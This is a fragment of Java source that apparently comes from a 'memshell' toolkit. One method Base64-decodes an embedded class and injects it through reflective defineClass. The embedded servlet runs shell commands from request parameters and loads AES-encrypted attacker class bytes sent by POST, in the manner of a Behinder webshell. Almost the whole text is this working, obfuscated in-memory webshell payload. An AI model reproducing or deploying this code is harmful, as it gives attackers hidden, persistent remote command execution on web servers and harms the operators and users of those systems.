65 | public static Class getDynamicServletTemplateClass() throws InvocationTargetException, IllegalAccessException, IOException {
66 | ClassLoader cl = Thread.currentThread().getContextClassLoader();
67 | Class clazz;
68 | try{
69 | clazz = cl.loadClass("com.memshell.generic.DynamicServletTemplate");
70 | }catch(ClassNotFoundException e){
71 | BASE64Decoder base64Decoder = new BASE64Decoder();
72 | String codeClass = "yv66vgAAADIBUQoAWgCZCgBZAJoJAJsAnAgAnQoAngCfCACgCwChAKIIAKMKAA4ApAoApQCmCgAOAKcJAKgAqQgAqgcAqwgArAgArQgAaggArgcArwoAsACxCgCwALIKALMAtAoAEwC1CAC2CgATALcKABMAuAsAuQC6CgC7AJ8KAKUAvAsAoQC9CwChAL4IAL8KAKUAwAsAoQDBCADCCwDDAMQIAMUKAMYAxwcAyAcAyQoAKACZCwDDAMoKACgAywgAzAoAKADNCgAoAM4KAA4AzwoAJwDQCgDGANEHANIKADIAmQsAoQDTCgDUANUKADIA1goAxgDXCQBZANgIANkHANoHAG8HANsKADoA3AcA3QoA3gDfCgDeAOAKAOEA4goAOgDjCADkBwDlBwDmBwDnCgBGAOgKAFkA6QgA6goAPADrBwDsCgA+AO0JAO4A7wcA8AoAOgDxCADyCgDhAPMKAO4A9AcA9QoAUwDoBwD2CgBVAOgHAPcKAFcA6AcA+AcA+QEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAC1MY29tL21lbXNoZWxsL2dlbmVyaWMvRHluYW1pY1NlcnZsZXRUZW1wbGF0ZTsBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2aWxDbGFzcwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAqwcAZwcA5wEACkV4Y2VwdGlvbnMBAAVkb0dldAEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwD4BwDbBwDsBwDaBwD6BwDwBwD1BwD2BwD3AQAKU291cmNlRmlsZQEAG0R5bmFtaWNTZXJ2bGV0VGVtcGxhdGUuamF2YQwAXQBeDACBAF4HAPsMAPwA/QEAHlsrXSBEeW5hbWljIFNlcnZsZXQgc2F5cyBoZWxsbwcA/gwA/wEAAQAEdHlwZQcBAQwBAgEDAQAFYmFzaWMMAOQBBAcBBQwBBgEHDAEIAQkHAQoMAQsAaQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcBDAwBDQEODAEPARAHAREMARIBEwwAXQEUAQACXEEMARUBFgwBFwEHBwEYDAEZARoHARsMARwBBwwBHAEDDAEdAQcBAARQT1NUDAEeAQcMAR8BIAEAAXUHASEMASIBIwEAA0FFUwcBJAwBJQEmAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEnASgMASkBKgEAAAwBKQErDAEsAQcMAS0BLgwAXQEvDAEwATEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEyATMHATQMATUBBwwBNgE3DAE4ATkMAFsAXAEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAE6ATsBABBqYXZhL2xhbmcvT2JqZWN0BwE8DAE9AT4MAT8BQAcA+gwBQQFCDAFDAUQBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFFAF4MAGQAZQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAUYBRwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFIAUkHAUoMAUsAXAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAUwBSQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAU0BTgwBTwFQAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAK2NvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNTZXJ2bGV0VGVtcGxhdGUBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAJZ2V0SGVhZGVyAQAJZ2V0TWV0aG9kAQAWZ2V0QmVoaW5kZXJTaGVsbFB3ZFB3ZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtC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";
73 | byte[] bytes = base64Decoder.decodeBuffer(codeClass);
74 |
75 | Method method = null;
76 | Class clz = cl.getClass();
77 | while(method == null && clz != Object.class ){
78 | try{
79 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
80 | }catch(NoSuchMethodException ex){
81 | clz = clz.getSuperclass();
82 | }
83 | }
84 | method.setAccessible(true);
85 | clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
86 | }
87 |
88 | return clazz;
89 | }
90 | }
91 |
--------------------------------------------------------------------------------